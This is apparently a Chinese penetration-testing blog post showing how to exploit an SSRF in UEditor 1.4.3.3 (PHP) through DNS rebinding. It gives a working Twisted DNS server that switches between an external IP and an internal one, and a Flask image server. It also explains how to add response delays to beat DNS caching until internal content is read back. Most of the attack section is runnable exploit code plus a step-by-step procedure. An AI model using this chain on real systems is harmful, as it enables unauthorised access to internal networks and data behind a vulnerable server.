日期: 2019-11-13
更新: 2020-04-08
分类: 渗透测试
测试中遇到一个Ueditor 1.4.3.3 php ssrf但是由于DNS rebinding的不稳定性造成复现困难,目前通过延迟等手段可以加大成功率。
0x01 复现过程
参考文章中先设置test.jianfensec.com的NS记录转发到自己的VPS DNS服务器:http://admintony.com/UEditor-1-4-3-3-SSRF-AND-DNS-rebinding-attack.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from twisted.internet import reactor, deferfrom twisted.names import client, dns, error, serverimport timeflag=0 class DynamicResolver (object) : def _doDynamicResponse (self, query) : name = query.name.name global flag if flag < 2 : ip="47.52.95.35" flag=flag+1 else : ip="192.168.123.130" flag=0 current_time = time.strftime('%Y.%m.%d %H:%M:%S ' ,time.localtime(time.time())) print "[{}]{} ===> {}" .format(current_time,name,ip) answer = dns.RRHeader( name=name, type=dns.A, cls=dns.IN, ttl=0 , payload=dns.Record_A(address=b'%s' %ip,ttl=0 ) ) answers = [answer] authority = [] additional = [] return answers, authority, additional def query (self, query, timeout=None) : return defer.succeed(self._doDynamicResponse(query)) def main () : factory = server.DNSServerFactory( clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf' )] ) protocol = dns.DNSDatagramProtocol(controller=factory) reactor.listenUDP(53 , protocol) reactor.run() if __name__ == '__main__' : raise SystemExit(main())
启动Web服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from flask import Flask, Responsefrom werkzeug.routing import BaseConverterimport timeclass Regex_url (BaseConverter) : def __init__ (self,url_map,*args) : super(Regex_url,self).__init__(url_map) self.regex = args[0 ] app = Flask(__name__) app.url_map.converters['re' ] = Regex_url @app.route('/<re(".*?"):tmp>') def test (tmp) : image = 'Test' resp = Response(image, mimetype="image/jpeg" ) return resp if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 )
3.不断重放数据包,尝试绕过验证最终将192.168.123.130:8081的内容写入图片这样就可以得到一个可回显SSRF: 4.问题出现,DNS rebinding收到缓存和网络影响复现不稳定,重放1000个数据包无效果:
0X02 尝试解决 首先是因为DNS缓存导致的问题,我们无法控制客户端但是可以控制前一个请求的返回时间来延迟客户端处理下一个请求的时间,服务端请求加入time.sleep(45):
1.本地测试DNS缓存释放再请求时间大概为40-50 秒 2.检查源码中发现使用get_header函数去获取返回信息,此函数未设置超时所以设置延时不会产生异常,实际测试大概60S是极限,如果Burp请求中存在502可以适当降低sleep时间。 在web服务器中加入延迟: 这里需要改一下原有脚本当flag<2返回SSRF内网目标IP,请求超过2次则返回外网IP,否则服务器一开始就请求外网IP会卡死: 可以发现这里请求了20个包就得到了SSRF内容: 从服务器图片中获取内网SSRF内容: